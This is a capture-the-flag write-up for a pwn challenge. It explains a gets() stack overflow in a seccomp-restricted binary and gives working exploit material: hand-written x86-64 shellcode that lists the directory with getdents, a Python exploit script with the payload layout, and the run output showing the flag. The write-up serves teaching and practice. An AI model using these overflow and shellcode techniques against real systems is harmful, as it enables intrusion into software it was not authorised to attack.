1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
|
"You didn't think it would be that easy... right?
NOTE: The flag is a filename in the current working directory of the server.
See the docker for reference."
Category: pwn (250 points)
Chall author: Day?
Writeup author: malfurious
Setup
-----
We are given a binary and a TCP endpoint to connect to, as well as some of the
Docker config files as mentioned in the description. A quick check on those
confirms the location of the flag as it was described:
#!/bin/sh
service xinetd start
cd /pwn
touch FILE_6768585 FILE_5786754 FILE_76498904 FILE_6784577 FILE_eb94e79028 \
FILE_6758838 redpwn_absorption_plan.txt \
FILE_1d4a95be0c340478af4141d1658ddd9a304e0bbdf7402526f3fb6306b26130... \
rarctf{f4k3_l0c4l_fl4g}
sleep infinity
The above is from docker/setup.sh (and is reformatted for the purposes of this
doc) showing that a file named 'rarctf{something}' is created in the process's
directory, so we know where to look for it. We won't be returning to any of the
Docker files.
RE
--
The notsimple binary has two functions of interest: main() and install_seccomp().
main() starts by calling install_seccomp() and printing a few strings. One of
the things printed is the address of a local stack buffer we get to populate.
Finally, gets() is called on that buffer and the program ends.
It looks as if we have a stack-smash on our hands. checksec confirms a stack
canary is not used, and that stack execution is allowed as well.
install_seccomp() enables some kernel system call protections using the Linux
seccomp feature via the prctl() interface. Seccomp is typically used to
explicitly allow or disallow system calls for a process in Linux (and, if a
process is allow to do so, these restrictions are inherited by fork() and
preserved by execve() and similar). Seccomp uses the Berkeley packet filter
format for syscall filters, so the library function takes this data via a buffer.
See below for a outline of the calls made by install_seccomp():
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, buff, 0, 0);
PR_SET_NO_NEW_PRIVS = 1 is a necessary step to enable seccomp, and
cannot be undone by the calling process
PR_SET_SECCOMP/MODE_FILTER takes a buffer containing the following
structs. In our case, len = 14. A dump of the data pointed to by
*filter is also given below.
struct sock_fprog {
unsigned short len; /* Number of BPF instructions */
struct sock_filter *filter; /* Pointer to array of BPF instructions */
};
struct sock_filter { /* Filter block */
__u16 code; /* Actual filter code */
__u8 jt; /* Jump true */
__u8 jf; /* Jump false */
__u32 k; /* Generic multiuse field */
};
k jfjtcode k jfjtcode
(gdb) x/14xg 0x404080 ____---- ____----
0x404080 <filter.2921>: 0x0000000400000020 0xc000003e0b000015
0x404090 <filter.2921+16>: 0x0000000000000020 0x4000000000090035
0x4040a0 <filter.2921+32>: 0x0000003b00080015 0x0000014200070015
0x4040b0 <filter.2921+48>: 0x0000010100060015 0x0000000300050015
0x4040c0 <filter.2921+64>: 0x0000005500040015 0x0000008600030015
0x4040d0 <filter.2921+80>: 0x0000003900020015 0x0000003a00010015
0x4040e0 <filter.2921+96>: 0x7fff000000000006 0x0000000000000006
This was my first real exposure to this feature of Linux, so I was not very
knowledgeable on it. Despite effort, I couldn't find anything useful online to
explain how to decode the fields of struct sock_filter, other than the fact that
several macros exist to aid with crafting these structs in the first place (1).
Needless to say, tracing these macros out is difficult. It seems like some of
the common 'instructions' for the filter are to: validate host architecture,
catch syscalls in a switch-statement-like structure, and either die or continue,
based on the instruction of the syscall.
I never fully decoded what syscalls are tagged in this binary. My initial
approach to the pwn (which succeeded) was to avoid the typical execve() call to
get a shell, and use getdents() (get directory entries) to 'properly' list the
directory contents.
[and yes, experimentation confirmed execve() is disallowed by the filter.]
Custom shellcode - getdents
---------------------------
SYS_getdents() takes an open file descriptor for a directory and populates a
buffer with an array of 'struct linux_dirent's.
long getdents(unsigned int fd, struct linux_dirent *dirp,
unsigned int count);
struct linux_dirent {
unsigned long d_ino; /* Inode number */
unsigned long d_off; /* Offset to next linux_dirent */
unsigned short d_reclen; /* Length of this linux_dirent */
char d_name[]; /* Filename (null-terminated) */
/* length is actually (d_reclen - 2 -
offsetof(struct linux_dirent, d_name)) */
/*
char pad; // Zero padding byte
char d_type; // File type (only since Linux
// 2.6.4); offset is (d_reclen - 1)
*/
}
For our purposes, we don't need to loop and walk the directory properly. We can
just dump the output dirent buffer to stdout and inspect the results for ASCII
file names. This will keep the shellcode shorter. So, the plan for the
shellcode is going to be this:
open(".", O_RDONLY | O_DIRECTORY, 0);
getdents(fd, buffer, size);
write(stdout, buffer, size);
Solution
--------
Appendix A contains my full solution. It is a script utilizing the sploit
framework found at 'tools/sploit/'. Appendix B contains the output from the
run. Nevermind the segfault... We can see among the output:
rarctf{h3y_wh4ts_th3_r3dpwn_4bs0rpti0n_pl4n_d01n6_h3r3?_4cc9581515}
(1) https://github.com/ahupowerdns/secfilter/blob/master/seccomp-bpf.h
================================================================================
= Appendix A: sploit.py =
================================================================================
#!/usr/bin/env python3
import sploitutil as util
import sploitrunner
frame_len = 0x50
shellcode = (
b"\x5F\x48\x31\xF6\x48\x31\xD2\x48\xC7\xC0\x02\x00\x00\x00\x0F\x05"
b"\x48\x89\xC7\x5E\x48\xC7\xC2\x00\x04\x00\x00\xB0\x4E\x0F\x05\x48"
b"\xC7\xC7\x01\x00\x00\x00\x66\xB8\x01\x00\x0F\x05"
#
# 0: 5f pop rdi
# 1: 48 31 f6 xor rsi,rsi
# 4: 48 31 d2 xor rdx,rdx
# 7: 48 c7 c0 02 00 00 00 mov rax,0x2
# e: 0f 05 syscall # fd = open(".", 0, 0)
# 10: 48 89 c7 mov rdi,rax
# 13: 5e pop rsi
# 14: 48 c7 c2 00 04 00 00 mov rdx,0x400
# 1b: b0 4e mov al,0x4e
# 1d: 0f 05 syscall # getdents(fd, buff, 1024)
# 1f: 48 c7 c7 01 00 00 00 mov rdi,0x1
# 26: 66 b8 01 00 mov ax,0x1
# 2a: 0f 05 syscall # write(stdout, buff, 1024)
)
payloads = {
'shellcode' : shellcode+b'\x90'*(frame_len-len(shellcode)-8),
'canary' : util.itob(0xdeadbeef),
}
def sploit(stdin, stdout):
c = util.Communication(stdin, stdout)
leak_buff = c.recv().split()[3] # "Oops, I'm leaking! **0x7ffd02167bb0**"
buff_addr = int(leak_buff, 16)
dents_addr = buff_addr - 1024 # Claim stack space for buffer to getdents
c.send(
b".\x00\x00\x00\x00\x00\x00\x00" # "." directory to open
+payloads['shellcode']
+payloads['canary']
+util.itob(buff_addr+8) # ret to shellcode
+util.itob(buff_addr) # pop addr of "."
+util.itob(dents_addr) # pop addr of getdents data buff
+b"\n" # terminate gets input
)
# run sploit
sploitrunner.runsploit(sploit)
================================================================================
= Appendix B: run =
================================================================================
> ./sploit nc 193.57.159.27 46343
['nc', '193.57.159.27', '46343']
b"Oops, I'm leaking! 0x7ffd02167bb0\n"
b'Pwn me \xc2\xaf\\_(\xe3\x83\x84)_/\xc2\xaf\n'
b'> \x1b\x13\t\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x18\x00.\x00\x00\x00\x00\x04\xc8\t\n'
b'\x04\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x18\x00..\x00\x00\x00\x04\xb6r\x0e\x08\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00 \x00FILE_6768585\x00\x08\xb8r\x0e\x08\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00 \x00FILE_5786754\x00\x08\xb9r\x0e\x08\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00(\x00FILE_76498904\x00\x00\x00\x00\x00\x00\x00\x00\x08\xbar\x0e\x08\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00 \x00FILE_6784577\x00\x08\xbbr\x0e\x08\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00(\x00FILE_eb94e79028\x00\x00\x00\x00\x00\x00\x08\xbcr\x0e\x08\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00 \x00FILE_6758838\x00\x08\xbdr\x0e\x08\x00\x00\x00\x00\t\x00\x00\x00\x00\x00\x00\x000\x00redpwn_absorption_plan.txt\x00\x00\x00\x08\xber\x0e\x08\x00\x00\x00\x00\n'
b'\x00\x00\x00\x00\x00\x00\x00\xe8\x00FILE_1d4a95be0c340478af4141d1658ddd9a304e0bbdf7402526f3fb6306b261309f8ff1183a907ca57d73fa662f8d52b2dea7986a7a195c2ae962c07d77dd8f684e7f9e5fe3ac575aafeaea1b09436ea3217d143e37584fc1d2a1e085535736fb81329fb093\x00\x08\x00\x00\x00\x00\x00\x00\x08\xbfr\x0e\x08\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00X\x00rarctf{h3y_wh4ts_th3_r3dpwn_4bs0rpti0n_pl4n_d01n6_h3r3?_4cc9581515}\x00\x00\x08\x1c\x13\t\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00 \x00notsimple\x00\x00\x00\x00\x08\x02\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x8a\xa2QYq\x7f\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00+\xcdB\x02\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xff\xc1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LR\x1b\xe1Nu\xbd\x00z\x88Yq\x7f\x00\x00\xa0B\x88Yq\x7f\x00\x00\xa0\x10@\x00\x00\x00\x00\x00I\xa4RYq\x7f\x00\x00\x00z\x88Yq\x7f\x00\x00dzRYq\x7f\x00\x00h\r\x00\x00\x00\x00\x00\x00\xb2\xbfQYq\x7f\x00\x00\xe1\xa2m\x01\x00\x00\x00\x003\x00\x00\x00\x00\x00\x00\x00`\x87\x88Yq\x7f\x00\x00h @\x00\x00\x00\x00\x00\xa0B\x88Yq\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00o\xcbQYq\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|\x16\x02\xfd\x7f\x00\x00\xa0\x10@\x00\x00\x00\x00\x00\xe0|\x16\x02\xfd\x7f\x00\x00\x84\x12@\x00\x00\x00\x00\x00Segmentation fault\n'
|